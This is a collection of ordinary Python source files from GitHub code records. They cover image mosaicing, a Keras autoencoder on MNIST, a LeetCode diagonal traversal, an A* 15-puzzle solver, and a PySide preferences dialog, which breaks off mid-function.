cv2\nfrom corner_detector import corner_detector\nfrom feat_desc import feat_desc\nfrom feat_match import feat_match\nfrom anms import anms\nfrom ransac_est_homography import ransac_est_homography\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nfrom genEngMap import genEngMap\nfrom cumMinEngVer import cumMinEngVer\n\n \n\ndef plotting_pic(img1,img2):\n\n dst1, kp1 = corner_detector(img1)\n dst2, kp2 = corner_detector(img2)\n\n kp1, descs1 = feat_desc(img1, kp1)\n kp2, descs2 = feat_desc(img2, kp2)\n\n new_kp1, new_kp2, good, x1, x2, y1, y2 = feat_match(descs1, descs2, kp1, kp2)\n\n H, inlier_ind = ransac_est_homography(np.array(x1),\n np.array(y1),\n np.array(x2),\n np.array(y2), 2)\n\n corner_detector_plot1 = cv2.drawKeypoints(image=img1,\n keypoints=kp1,\n outImage=np.array([]),\n color=(255, 0, 0))\n corner_detector_plot2 = cv2.drawKeypoints(image=img2,\n keypoints=kp2,\n outImage=np.array([]),\n color=(255, 0, 0))\n\n index = list((inlier_ind.T[0]))\n good2 = []\n for i in index:\n good2.append(good[i])\n good = good2\n\n post_ransac_matching_plot = cv2.drawMatches(img1=img1,\n keypoints1=kp1,\n img2=img2,\n keypoints2=kp2,\n matches1to2=good,\n outImg=np.array([]),\n matchColor=(255, 0, 0),\n singlePointColor=(0, 0, 255),\n flags=cv2.DrawMatchesFlags_NOT_DRAW_SINGLE_POINTS)\n\n plt.figure(1);plt.imshow(corner_detector_plot1)\n plt.figure(2);plt.imshow(corner_detector_plot2)\n plt.figure(3);plt.imshow(post_ransac_matching_plot)\n plt.show()\n\n return H\n\ndef plot_anms(img1, img2):\n dst1, kp1 = corner_detector(img1)\n dst2, kp2 = corner_detector(img2)\n\n x1, y1, rmax1 = anms(dst1, 2000)\n x2, y2, rmax2 = anms(dst2, 2000)\n for i in range(len(x1)):\n img1[int(x1[i]), int(y1[i])] = [255, 0, 0]\n for j in range(len(x2)):\n img2[int(x2[j]), int(y2[j])] = [255, 0, 0]\n plt.figure(4);plt.imshow(img1)\n plt.figure(5);plt.imshow(img2)\n plt.show()\n\n return 1\n\n\ndef plot_fea_mat_for_sets_of_pictures(path, num):\n for i in range(1, num+1):\n left_img = np.array(Image.open(path + str(i) + '_left.jpg').convert('RGB'))\n right_img = np.array(Image.open(path + str(i) + '_right.jpg').convert('RGB'))\n h_tmp = plotting_pic(left_img, right_img)\n print(\"plotting anms\")\n anms_value = plot_anms(left_img, right_img)\n\n print ('Finished plotting the feature matching of at least five distinct frames')\n\n\ndef mosaicing_left_middle(img1, img2, seamed_picture):\n dst1, kp1 = corner_detector(img1)\n dst2, kp2 = corner_detector(img2)\n\n kp1, descs1 = feat_desc(img1, kp1)\n kp2, descs2 = feat_desc(img2, kp2)\n\n new_kp1, new_kp2, good, x1, x2, y1, y2 = feat_match(descs1, descs2, kp1, kp2)\n\n H, inlier_ind = ransac_est_homography(np.array(x1),\n np.array(y1),\n np.array(x2),\n np.array(y2), 2)\n img1_r, img1_c, l1 = img1.shape\n img2_r, img2_c, l2 = img2.shape\n X = np.array([[0, 0, img2_c - 1, img2_c - 1],\n [0, img2_r - 1, 0, img2_r - 1],\n 4 * [1]])\n inversed_H = np.linalg.inv(H)\n X_t = np.dot(inversed_H, X)\n X_t = X_t / X_t[2]\n \n minx = np.floor(np.min(X_t[0]))\n minx = minx.astype(int)\n miny = np.floor(np.min(X_t[1]))\n miny = miny.astype(int)\n maxx = np.ceil(np.max(X_t[0]))\n maxx = maxx.astype(int)\n maxy = np.ceil(np.max(X_t[1]))\n maxy = maxy.astype(int)\n \n offset1 = -1 * min(np.array([0, miny, minx], dtype=int))\n offset2 = max(np.array([maxy-img2_r, maxx-img2_c], dtype=int))\n\n mapping = np.zeros((offset1 + offset2 + img1_r, offset1 + offset2 + img1_c, 3))\n mapping[offset1:offset1 + img1_r, offset1:offset1 + img1_c, :] = img1\n \n T = np.array([[1, 0, offset1],\n [0, 1, offset1],\n [0, 0, 1]])\n H_t = np.dot(T, inversed_H)\n\n w_r, w_c, w_l = mapping.shape\n warped_img = cv2.warpPerspective(src=img2,\n M=H_t,\n dsize=(w_c, w_r))\n\n mapping[offset1:offset1 + img1_r, offset1:img1_c+offset1, :] = seamed_picture\n \n warped_gt_0 = (np.sum(warped_img, axis=2) > 0)\n mapping_gt_0 = (np.sum(mapping, axis=2) > 0)\n\n for r in range(w_r):\n for c in range(w_c):\n if mapping_gt_0[r, c] != 0 and warped_gt_0[r, c] != 0:\n mapping[r, c, :] = mapping[r, c, :]\n elif warped_gt_0[r, c] != 0:\n mapping[r, c,:] = warped_img[r,c,:]\n mapping_1 = np.zeros((offset1 + img1_r + offset2, offset1 + img1_c + offset2, 3), dtype=np.uint8)\n mapping_1[offset1:offset1 + img1_r, offset1:offset1 + img1_c, :] = img1\n \n warped_1_gt_0 = (np.sum(warped_img, axis=2) > 0)\n mapping_1_gt_0 = (np.sum(mapping_1, axis=2) > 0)\n\n for r in range(offset1 + img1_r + offset2):\n for c in range(offset1 + img1_c + offset2):\n if mapping_1_gt_0[r, c] and warped_1_gt_0[r, c]:\n mapping_1[r, c, :] = mapping_1[r, c, :]\n elif warped_1_gt_0[r, c]:\n mapping_1[r, c, :] = warped_img[r, c, :]\n return mapping, mapping_1\n\n\ndef mosaicing_right_middle(img1, img2, warped_picture):\n dst1, kp1 = corner_detector(img1)\n dst2, kp2 = corner_detector(img2)\n\n kp1, descs1 = feat_desc(img1, kp1)\n kp2, descs2 = feat_desc(img2, kp2)\n\n new_kp1, new_kp2, good, x1, x2, y1, y2 = feat_match(descs1, descs2, kp1, kp2)\n\n H, inlier_ind = ransac_est_homography(np.array(x1),\n np.array(y1),\n np.array(x2),\n np.array(y2), 2)\n img1_r, img1_c, l1 = img1.shape\n img2_r, img2_c, l2 = img2.shape\n\n X = np.array([[0, 0, img2_c - 1, img2_c - 1],\n [0, img2_r - 1, 0, img2_r - 1],\n 4 * [1]])\n inversed_H = np.linalg.inv(H)\n X_t = np.dot(inversed_H, X)\n X_t = X_t / X_t[2]\n \n minx = np.floor(np.min(X_t[0]))\n minx = minx.astype(int)\n miny = np.floor(np.min(X_t[1]))\n miny = miny.astype(int)\n maxx = np.ceil(np.max(X_t[0]))\n maxx = maxx.astype(int)\n maxy = np.ceil(np.max(X_t[1]))\n maxy = maxy.astype(int)\n \n pad_1 = -1 * min(np.array([0, miny, minx], dtype=int))\n pad_2 = max(np.array([maxy-img2_r, maxx-img2_c], dtype=int))\n\n mapping = np.zeros((pad_1 + pad_2 + img1_r, pad_1 + pad_2 + img1_c, 3), dtype=int)\n mapping[pad_1:pad_1 + img1_r, pad_1:pad_1 + img1_c, :] = img1\n \n T = np.array([[1, 0, pad_1],[0, 1, pad_1],[0, 0, 1],])\n H_t = np.dot(T, inversed_H)\n\n w_r, w_c, w_l = mapping.shape\n warped_img = cv2.warpPerspective(src=img2,\n M=H_t,\n dsize=(w_c, w_r))\n\n mapping[pad_1:pad_1 + img1_r, pad_1:pad_1 + img1_c, :] = warped_picture\n \n warped_gt_0 = (np.sum(warped_img, axis=2) > 0)\n mapping_gt_0 = (np.sum(mapping, axis=2) > 0)\n \n for r in range(pad_1 + pad_2 + img1_r):\n for c in range(pad_1 + pad_2 + img1_c):\n if mapping_gt_0[r, c] and warped_gt_0[r, c]:\n mapping[r, c, :] = mapping[r, c, :]\n elif warped_gt_0[r, c]:\n mapping[r, c, :] = warped_img[r, c, :]\n return mapping\n\n\ndef seamblend(img, wa, dir):\n if dir == 1:\n img_pk = img[:, 0:wa]\n elif dir == 2:\n img_pk = img[:, wa:]\n\n e = genEngMap(img_pk)\n Mx, Table = cumMinEngVer(e)\n r, c = Mx.shape\n E = min(Mx[r-1])\n Idx = []\n for i in range(c):\n if Mx[r-1][i] == E:\n Idx.append([r-1, i])\n break\n temporary = Idx[0]\n\n for i in reversed(range(r)):\n if Table[i][temporary[1]] == -1:\n temporary = [i-1, temporary[1]-1]\n Idx.append(temporary)\n if Table[i][temporary[1]] == 0:\n temporary = [i-1, temporary[1]]\n Idx.append(temporary)\n if Table[i][temporary[1]] == 1:\n temporary = [i-1, temporary[1]+1]\n Idx.append(temporary)\n\n Idx = sorted(Idx)\n MSK = np.zeros([r, c])\n\n for i in range(r):\n for j in range(c):\n if dir == 1 and j > Idx[i][1]:\n MSK[i][j] = 1\n if dir == 1 and j < Idx[i][1]:\n MSK[i][j] = 1\n \n IPK = np.copy(img_pk)\n for i in range(3):\n IPK[:, :, i] = IPK[:, :, i] * MSK\n \n I = np.copy(img)\n if dir == 1:\n I[:, 0:wa] = IPK\n elif dir == 2:\n I[:, wa:] = IPK\n return I\n\n","repo_name":"XuanyiZhao/Image_processing_algorithms_from_scratch","sub_path":"Image_Stitching/mymosaic.py","file_name":"mymosaic.py","file_ext":"py","file_size_in_byte":9949,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"7371965077","text":"from keras.layers import Input, Dense\nfrom keras.models import Model\nfrom keras.datasets import mnist\nimport numpy as np\nimport matplotlib.pyplot as plt\n(x_train, _), (x_test, _) = mnist.load_data()\nx_train = x_train.astype('float32')\nx_test = x_test.astype('float32')\nx_train/=255\nx_test/=255\nx_train = x_train.reshape((len(x_train), np.prod(x_train.shape[1:])))\nx_test = x_test.reshape((len(x_test), np.prod(x_test.shape[1:])))\nprint(x_train.shape)\nprint(x_test.shape)\n\n# 构造单隐藏层的自编码器( 784转32再转784)\n\nencoding_dim = 32 # 32 floats -> compression of factor 24.5, assuming the input is 784 floats\n# this is our input placeholder\ninput_img = Input(shape=(784,))\n# \"encoded\" is the encoded representation of the input\nencoded = Dense(encoding_dim, activation='relu')(input_img)\n# \"decoded\" is the lossy reconstruction of the input\ndecoded = Dense(784, activation='sigmoid')(encoded)\n# this model maps an input to its reconstruction\nautoencoder = Model(input=input_img, output=decoded)\n\n# 定义编码器(784转32)\n# this model maps an input to its encoded representation\nencoder = Model(input=input_img, output=encoded)\n\n# 定义解码器(32转784)\n# create a placeholder for an encoded (32-dimensional) input\nencoded_input = Input(shape=(encoding_dim,))\n# retrieve the last layer of the autoencoder model\ndecoder_layer = Dense(784, activation='sigmoid')\n# create the decoder model\ndecoder = Model(input=encoded_input, output=decoder_layer(encoded_input))\n\n# 编译和训练自编码器\nautoencoder.compile(optimizer='adadelta', loss='binary_crossentropy')\nautoencoder.fit(x_train, x_train,\n nb_epoch=50,\n batch_size=256,\n shuffle=True,\n validation_data=(x_test, x_test))\n\n# 在测试集上进行解码\n# encode and decode some digits\n# note that we take them from the *test* set\nencoded_imgs = encoder.predict(x_test)\ndecoded_imgs = decoder.predict(encoded_imgs)\n\n# 显示结果\nn = 10 # how many digits we will display\nplt.figure(figsize=(20, 4))\nfor i in range(n):\n # display original\n # 分成2*n个子图,占用第i+1个子图\n ax = plt.subplot(2, n, i + 1)\n plt.imshow(x_test[i].reshape(28, 28))\n plt.gray()\n # x轴,y轴不可见\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\n\n # display reconstruction\n # 分成2*n个子图,占用第i+1+n个子图\n ax = plt.subplot(2, n, i + 1 + n)\n plt.imshow(decoded_imgs[i].reshape(28, 28))\n plt.gray()\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\nplt.show()\n","repo_name":"Zheng-Wenkai/Keras_Demo","sub_path":"14.sigle_autoencoder.py","file_name":"14.sigle_autoencoder.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"48"} +{"seq_id":"1368864090","text":"#\n# @lc app=leetcode id=498 lang=python3\n#\n# [498] Diagonal Traverse\n#\n\n# @lc code=start\nclass Solution:\n def findDiagonalOrder(self, matrix: List[List[int]]) -> List[int]:\n return self.sol2(matrix)\n\n def sol2(self, matrix) :\n if not matrix or not matrix[0] : return []\n m, n = len(matrix), len(matrix[0])\n r, c, k = 0, 0, 0\n ans = [ 0 for _ in range(m * n)]\n dirs = [(-1, 1), (1, -1)]\n for i in range(m * n) :\n ans[i] = matrix[r][c]\n r, c = r + dirs[k][0], c + dirs[k][1]\n if r >= m : r, c, k = m - 1, c + 2, 1 - k\n if c >= n : r, c, k = r + 2, n - 1, 1 - k\n if r < 0 : r, k = 0, 1 - k\n if c < 0 : c, k = 0, 1 - k\n return ans\n\n \n\n\n\n def sol1(self, matrix) :\n if not matrix or not matrix[0] : return []\n if len(matrix) == 1 : return matrix[0]\n if len(matrix[0]) == 1 : return [x[0] for x in matrix]\n ans = []\n seen = set()\n m, n = len(matrix), len(matrix[0])\n for x in range(m + n - 1) :\n if x % 2 == 0 : i, j, direct = x, 0, (-1, 1)\n else : i, j, direct = 0, x, (1, -1)\n while i >= m or j >= n :\n if i >= m : i , j = i - 1, j + 1\n if j >= n : i , j = i + 1, j - 1\n while 0 <= i < m and 0 <= j < n :\n if (i, j) not in seen :\n ans.append(matrix[i][j])\n seen.add((i, j))\n i, j = i + direct[0], j + direct[1]\n return ans\n\n\n\n \n# @lc code=end\n\n","repo_name":"quixoteji/Leetcode","sub_path":"solutions/498.diagonal-traverse.py","file_name":"498.diagonal-traverse.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"17535551722","text":"import sys\nimport copy\nimport numpy as np\nfrom queue import PriorityQueue\n\nPUZZLE_WIDTH = 4\nBLANK = 0 # Integer comparison tends to be faster than string comparison\nBETTER = True\n\n# Read a NumberPuzzle from stdin; space-delimited, blank is \"-\"\ndef read_puzzle():\n new_puzzle = NumberPuzzle()\n row = 0\n for line in sys.stdin:\n tokens = line.split()\n for i in range(PUZZLE_WIDTH):\n if tokens[i] == '-':\n new_puzzle.tiles[row][i] = BLANK\n new_puzzle.blank_r = row\n new_puzzle.blank_c = i\n else:\n try:\n new_puzzle.tiles[row][i] = int(tokens[i])\n except ValueError:\n sys.exit(\"Found unexpected non-integer for tile value\")\n row += 1\n return new_puzzle\n\n# Class containing an int array for tiles\n# blank_c and blank_r for column and row of the blank\n# (so we don't have to hunt for it)\nclass NumberPuzzle:\n # This is a constructor in Python - just return zeros for everything\n # and fill in the tile array later\n def __init__(self):\n self.tiles = np.zeros((PUZZLE_WIDTH,PUZZLE_WIDTH))\n self.blank_r = 0\n self.blank_c = 0\n # This next field is for our convenience when generating a solution\n # -- remember which puzzle was the move before\n self.parent = None\n self.dist_from_start = 0\n self.key = 0\n\n # This is the Python equivalent of Java's toString()\n def __str__(self):\n out = \"\"\n for i in range(PUZZLE_WIDTH):\n for j in range(PUZZLE_WIDTH):\n if j > 0:\n out += \" \"\n if self.tiles[i][j] == BLANK:\n out += \"-\"\n else:\n out += str(int(self.tiles[i][j]))\n out += \"\\n\"\n return out\n\n # In A* search, we generally want to copy instead of destructively alter,\n # since we're not backtracking so much as jumping around the search tree.\n # Also, if A and B are numpy arrays, \"A = B\" only passes a reference to B.\n # \"deepcopy\" copies out the data (recursively if need be, a fact possibly\n # useful for other assignments).\n # We'll also use this to tell the child we're its parent\n def copy(self):\n child = NumberPuzzle()\n child.tiles = np.copy(self.tiles)\n child.blank_r = self.blank_r\n child.blank_c = self.blank_c\n child.dist_from_start = self.dist_from_start\n child.parent = self\n return child\n\n # Overrides == for this object so that we can compare by tile arrangement\n # instead of reference. This is going to be pretty common, so we'll skip\n # a type check on \"other\" for a modest speed increase\n def __eq__(self, other):\n return np.array_equal(self.tiles, other.tiles)\n\n # Hash function necessary for inclusion in a set -- unique \"name\"\n # for this object -- we'll just hash the bytes of the tile array\n def __hash__(self):\n return hash(bytes(self.tiles))\n\n # Override less-than so that we can put these in a priority queue\n # with no problem. We don't want to recompute the heuristic here, \n # though -- that would be too slow to do it every time we need to\n # reorganize the priority queue \n\n def __lt__(self, obj):\n return (self.key < obj.key) or (self.key == obj.key and self.dist_from_start > obj.dist_from_start)\n\n # Move from the row, column coordinates given into the blank.\n # Also very common, so we will also skip checks for legality to improve\n # speed.\n def move(self, tile_row, tile_column):\n self.tiles[self.blank_r][self.blank_c] = self.tiles[tile_row][tile_column]\n self.tiles[tile_row][tile_column] = BLANK\n self.blank_r = tile_row\n self.blank_c = tile_column\n self.dist_from_start += 1\n\n # Return a list of NumberPuzzle states that could result from one\n # move on the present board. Use this to keep the order in which\n # moves are evaluated the same as our solution, thus matching the\n # HackerRank solution as well. (Also notice we're still in the\n # methods of NumberPuzzle, hence the lack of arguments.)\n def legal_moves(self):\n legal = []\n if (self.blank_r > 0):\n down_result = self.copy()\n down_result.move(self.blank_r-1, self.blank_c)\n legal.append(down_result)\n if (self.blank_c > 0):\n right_result = self.copy()\n right_result.move(self.blank_r, self.blank_c-1)\n legal.append(right_result)\n if (self.blank_r < PUZZLE_WIDTH - 1):\n up_result = self.copy()\n up_result.move(self.blank_r+1, self.blank_c)\n legal.append(up_result)\n if (self.blank_c < PUZZLE_WIDTH - 1):\n left_result = self.copy()\n left_result.move(self.blank_r, self.blank_c+1)\n legal.append(left_result)\n return legal\n \n # solve: return a list of puzzle states from this state to solved\n # better_h flag determines whether to use the better heuristic\n def solve(self, better_h):\n #heuristic flag\n self.key = self.heuristic(better_h) + self.dist_from_start\n # TODO\n #initialize priority queue; each node = cost to get there + estimated cost to go\n queue = PriorityQueue()\n queue.put(self.copy())\n #intitalize table of distances\n #initialize set with already seen, possibly add current to that set\n #initialize table of distances to each node\n seen = set()\n #seen.add(queue[0].)\n while queue.qsize() > 0:\n n = queue.get()\n #remove lowest-cost node N\n if n.solved():\n #return path to n\n return n.find_path()\n #if n in seen or we know as-good distance -> continue\n if n in seen:\n continue\n for state in seen:\n if n.__lt__(state):\n continue\n #record cost to get here in table of distances\n #For each neighbor of this node (all possible moves)\n #Add to priority queue with appropriate cost to get there + heuristic\n #Remember N is our parent\n seen.add(n)\n for state in n.legal_moves():\n s = state.copy()\n s.dist_from_start += 1\n s.parent = n\n s.key = s.heuristic(better_h) + s.dist_from_start\n queue.put(s)\n #return no path (if priority queue is empty w/o path to goal)\n return None\n\n\n def find_path(self):\n path = []\n n = self.copy()\n while n.parent:\n path.append(n)\n n = n.parent\n return path\n\n # solved(): return True iff all tiles in order and blank in bottom right\n def solved(self):\n should_be = 1\n for i in range(PUZZLE_WIDTH):\n for j in range(PUZZLE_WIDTH):\n if self.tiles[i][j] != should_be:\n return False\n else:\n should_be = (should_be + 1) % (PUZZLE_WIDTH ** 2)\n return True\n\n # Toggle which heuristic is used\n def heuristic(self, better_h):\n if better_h:\n return self.manhattan_heuristic()\n return self.tile_mismatch_heuristic()\n\n # Count tiles out of place.\n def tile_mismatch_heuristic(self):\n mismatch_count = 0\n should_be = 1\n for i in range(PUZZLE_WIDTH):\n for j in range(PUZZLE_WIDTH):\n if self.tiles[i][j] != should_be:\n mismatch_count+=1\n should_be = (should_be + 1) % (PUZZLE_WIDTH ** 2)\n return mismatch_count\n\n # Returns total manhattan (city block) distance needed for all tiles. \n def manhattan_heuristic(self):\n total_manhattan = 0\n for i in range(PUZZLE_WIDTH):\n for j in range(PUZZLE_WIDTH):\n if self.tiles[i][j] != '-':\n x, y = divmod(self.tiles[i][j]-1, PUZZLE_WIDTH)\n total_manhattan += abs(x - i) + abs(y - j)\n return total_manhattan\n\n# Print every puzzle in the list\ndef print_steps(path):\n if path is None:\n print(\"No path found\")\n else:\n for state in path:\n print(state)\n\n# main\nmy_puzzle = read_puzzle()\nsolution_steps = my_puzzle.solve(BETTER)\nprint_steps(solution_steps)\n","repo_name":"jdhassan/AIAssignment1","sub_path":"puzzle.py","file_name":"puzzle.py","file_ext":"py","file_size_in_byte":8461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37979742629","text":"import os\n\nfrom types import StringType\n\nfrom PySide.QtCore import Qt\nfrom PySide.QtCore import Signal\nfrom PySide.QtCore import QSettings\n\nfrom PySide.QtGui import QDialog\nfrom PySide.QtGui import QWidget\nfrom PySide.QtGui import QListWidget\nfrom PySide.QtGui import QListWidgetItem\nfrom PySide.QtGui import QListView\nfrom PySide.QtGui import QStackedWidget\nfrom PySide.QtGui import QHBoxLayout\nfrom PySide.QtGui import QFormLayout\nfrom PySide.QtGui import QPushButton\nfrom PySide.QtGui import QVBoxLayout\nfrom PySide.QtGui import QFontDialog\nfrom PySide.QtGui import QFont\nfrom PySide.QtGui import QFontInfo\nfrom PySide.QtGui import QGroupBox\nfrom PySide.QtGui import QLabel\nfrom PySide.QtGui import QCheckBox\nfrom PySide.QtGui import QLineEdit\nfrom PySide.QtGui import QFontComboBox\nfrom PySide.QtGui import QComboBox\nfrom PySide.QtGui import QFontDatabase\nfrom PySide.QtGui import QMessageBox\n\nfrom qrlogging import fontLogger\nfrom qrlogging import signalLogger\nfrom qrlogging import traceLogger\n\nfrom qrdefaults import QtReduceDefaults\nfrom qrdefaults import QtReduceIconSets\n\n\nclass QtReducePreferencePane(QDialog):\n # QtReducePreferencePane are the dialog windows for setting preferences.\n # Instances are created via menu or keyboard shortcut in QtReduceMainWindow.\n\n def __init__(self, parent=None):\n super(QtReducePreferencePane, self).__init__(parent)\n\n self.__createContents()\n\n self.toolBar = QtReducePreferencesToolBar(self)\n self.worksheet = QtReducePreferencesWorksheet(self)\n self.computation = QtReducePreferencesComputation(self)\n\n self.pagesWidget = QStackedWidget()\n self.pagesWidget.addWidget(self.toolBar)\n self.pagesWidget.addWidget(self.worksheet)\n self.pagesWidget.addWidget(self.computation)\n\n self.pagesWidget.setCurrentIndex(\n self.contentsWidget.row(self.contentsWidget.currentItem()))\n\n closeButton = QPushButton(self.tr(\"Close\"))\n closeButton.clicked.connect(self.close)\n\n horizontalLayout = QHBoxLayout()\n horizontalLayout.addWidget(self.contentsWidget)\n horizontalLayout.addWidget(self.pagesWidget)\n\n buttonsLayout = QHBoxLayout()\n buttonsLayout.addStretch(1)\n buttonsLayout.addWidget(closeButton)\n\n mainLayout = QVBoxLayout()\n mainLayout.addLayout(horizontalLayout)\n mainLayout.addLayout(buttonsLayout)\n\n self.setLayout(mainLayout)\n\n self.setWindowTitle(self.tr(\"QReduce Preferences\"))\n\n def changePage(self,current,previous):\n if not current:\n current = previous\n QSettings().setValue(\"preferences/currentitem\",current.text())\n self.pagesWidget.setCurrentIndex(self.contentsWidget.row(current))\n\n def __createContents(self):\n self.contentsWidget = QListWidget()\n self.contentsWidget.setViewMode(QListView.ListMode)\n self.contentsWidget.setMovement(QListView.Static)\n\n toolBar = QListWidgetItem(self.contentsWidget)\n toolBar.setText(self.tr(\"Toolbar\"))\n toolBar.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n worksheet = QListWidgetItem(self.contentsWidget)\n worksheet.setText(self.tr(\"Worksheet\"))\n worksheet.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n computation = QListWidgetItem(self.contentsWidget)\n computation.setText(self.tr(\"Computation\"))\n computation.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n currentItem = QSettings().value(\"preferences/currentitem\",\n self.tr(QtReduceDefaults.CURRENTITEM))\n if currentItem == self.tr(\"Toolbar\"):\n self.contentsWidget.setCurrentItem(toolBar)\n elif currentItem == self.tr(\"Worksheet\"):\n self.contentsWidget.setCurrentItem(worksheet)\n elif currentItem == self.tr(\"Computation\"):\n self.contentsWidget.setCurrentItem(computation)\n\n self.contentsWidget.currentItemChanged.connect(self.changePage)\n\n\nclass QtReduceComboBox(QComboBox):\n def __init__(self):\n super(QtReduceComboBox,self).__init__()\n self.setFocusPolicy(Qt.NoFocus)\n self.setEditable(False)\n\n\nclass QtReduceIconSizeComboBox(QtReduceComboBox):\n currentIconSizeChanged = Signal(StringType)\n\n def __init__(self,parent=None):\n super(QtReduceIconSizeComboBox,self).__init__()\n self.currentIndexChanged.connect(self.currentIndexChangedHandler)\n\n def currentIndexChangedHandler(self,index):\n return self.currentIconSizeChanged.emit(self.currentText())\n\n \nclass QtReducePreferencesToolBar(QWidget):\n def __init__(self,parent=None):\n super(QtReducePreferencesToolBar,self).__init__(parent)\n\n settings = QSettings()\n\n toolBarGroup = QGroupBox(self.tr(\"Toolbar\"))\n\n self.iconSetCombo = QtReduceComboBox()\n iDbKeys = QtReduceIconSets().db.keys()\n iDbKeys.sort()\n self.iconSetCombo.addItems(iDbKeys)\n\n settings.setValue(\"toolbar/iconset\",\"Oxygen\") # Hack\n\n traceLogger.debug(\"toolbar/iconset=%s\" % settings.value(\"toolbar/iconset\"))\n\n self.iconSetCombo.setCurrentIndex(\n self.iconSetCombo.findText(\n settings.value(\"toolbar/iconset\",QtReduceDefaults.ICONSET)))\n\n self.iconSizeCombo = QtReduceIconSizeComboBox()\n self.iconSizeCombo.addItems([\"16\",\"22\",\"32\"])\n self.iconSizeCombo.setCurrentIndex(\n self.iconSizeCombo.findText(\n str(settings.value(\"toolbar/iconsize\",\n QtReduceDefaults.ICONSIZE))))\n\n self.showCombo = QtReduceComboBox()\n self.showCombo.addItems([self.tr(\"Symbol and Text\"),\n self.tr(\"Only Symbol\"),\n self.tr(\"Only Text\")])\n self.showCombo.setCurrentIndex(self.showCombo.findText(\n settings.value(\"toolbar/buttonstyle\",\n self.tr(QtReduceDefaults.BUTTONSTYLE))))\n\n toolBarLayout = QFormLayout()\n# toolBarLayout.addRow(self.tr(\"Symbol Set\"),self.iconSetCombo)\n toolBarLayout.addRow(self.tr(\"Symbol Size\"),self.iconSizeCombo)\n toolBarLayout.addRow(self.tr(\"Show\"),self.showCombo)\n\n toolBarGroup.setLayout(toolBarLayout)\n\n mainLayout = QVBoxLayout()\n mainLayout.addWidget(toolBarGroup)\n\n self.setLayout(mainLayout)\n\n \nclass QtReduceFontComboBox(QtReduceComboBox):\n currentFontChanged = Signal(QFont)\n\n def __init__(self,parent=None):\n super(QtReduceFontComboBox,self).__init__()\n fdb = QFontDatabase()\n l = []\n self.fontDict = {}\n for fam in fdb.families(QFontDatabase.Latin):\n for sty in fdb.styles(fam):\n if not fam in l and fdb.isFixedPitch(fam,sty) \\\n and not fdb.bold(fam,sty) and not fdb.italic(fam,sty) \\\n and self.__osxHack(fam):\n fontLogger.debug(\"family=%s, style=%s, isFixedPitch=%s\" %\n (fam, sty, fdb.isFixedPitch(fam,sty)))\n sizes = fdb.smoothSizes(fam,sty)\n if sizes:\n font = fdb.font(fam,sty,sizes[0])\n if not font.exactMatch():\n fontLogger.debug(\"no exactMatch for %s %s %s\" %\n (fam,sty,sizes[0]))\n\n l += [fam]\n self.fontDict.update({str(fam):font})\n l.sort\n self.addItems(l)\n self.currentIndexChanged.connect(self.currentIndexChangedHandler)\n\n def __osxHack(self,fam):\n if os.uname()[0] != \"Darwin\":\n return True\n if fam.find(\"Andale\") != -1 \\\n or fam.find(\"Bitstream\") != -1 \\\n or fam.find(\"Consolas\") != -1 \\\n or fam.find(\"Courier\") != -1 \\\n or fam.find(\"DejaVu\") != -1 \\\n or fam.find(\"Lucida\") != -1 \\\n or fam.find(\"Monaco\") != -1:\n return True\n return False\n\n def setCurrentFont(self,font):\n info = QFontInfo(font)\n self.setCurrentIndex(self.findText(info.family()))\n\n def currentFont(self):\n return self.fontDict[self.currentText()]\n\n def currentIndexChangedHandler(self,index):\n return self.currentFontChanged.emit(self.currentFont())\n\n \nclass QtReduceFontSizeComboBox(QtReduceComboBox):\n currentFontSizeChanged = Signal(StringType)\n\n def __init__(self,parent=None):\n super(QtReduceFontSizeComboBox,self).__init__()\n self.currentIndexChanged.connect(self.currentIndexChangedHandler)\n\n def currentFontSize(self):\n return self.findText(currentSize)\n\n def currentIndexChangedHandler(self,index):\n return self.currentFontSizeChanged.emit(self.currentText())\n\n \nclass QtReduceFontSizeComboBoxFs(QtReduceComboBox):\n currentFontSizeChangedFs = Signal(StringType)\n\n def __init__(self,parent=None):\n super(QtReduceFontSizeComboBoxFs,self).__init__()\n self.currentIndexChanged.connect(self.currentIndexChangedHandler)\n\n def currentFontSize(self):\n return self.findText(currentSize)\n\n def currentIndexChangedHandler(self,index):\n return self.currentFontSizeChangedFs.emit(self.currentText())\n\n \nclass QtReducePreferencesWorksheet(QWidget):\n def __init__(self,parent=None):\n super(QtReducePreferencesWorksheet,self).__init__(parent)\n\n fontGroup = QGroupBox(self.tr(\"Fonts\"))\n\n self.fontCombo = QtReduceFontComboBox(self)\n self.setFocusPolicy(Qt.NoFocus)\n self.fontCombo.setEditable(False)\n self.fontCombo.setCurrentFont(self.parent().parent().controller.view.font())\n\n self.sizeCombo = QtReduceFontSizeComboBox()\n self.sizeComboFs = QtReduceFontSizeComboBoxFs()\n self.findSizes(self.fontCombo.currentFont())\n self.fontCombo.currentFontChanged.connect(self.findSizes)\n\n fontLayout = QFormLayout()\n fontLayout.addRow(self.tr(\"General Worksheet Font\"),self.fontCombo)\n fontLayout.addRow(self.tr(\"Font Size\"),self.sizeCombo)\n fontLayout.addRow(self.tr(\"Full Screen Font Size\"),self.sizeComboFs)\n\n fontGroup.setLayout(fontLayout)\n\n mainLayout = QVBoxLayout()\n mainLayout.addWidget(fontGroup)\n\n self.setLayout(mainLayout)\n\n def findSizes(self,font):\n fontLogger.debug(\"font.key()=%s\" % font.key())\n fontDatabase = QFontDatabase()\n\n self.sizeCombo.blockSignals(True)\n self.sizeCombo.clear()\n\n self.sizeComboFs.blockSignals(True)\n self.sizeComboFs.clear()\n\n styleStr = fontDatabase.styleString(font)\n if fontDatabase.isSmoothlyScalable(font.family(),styleStr):\n for size in QFontDatabase.standardSizes():\n self.sizeCombo.addItem(str(size))\n self.sizeComboFs.addItem(str(size))\n else:\n for size in fontDatabase.smoothSizes(font.family(),styleStr):\n 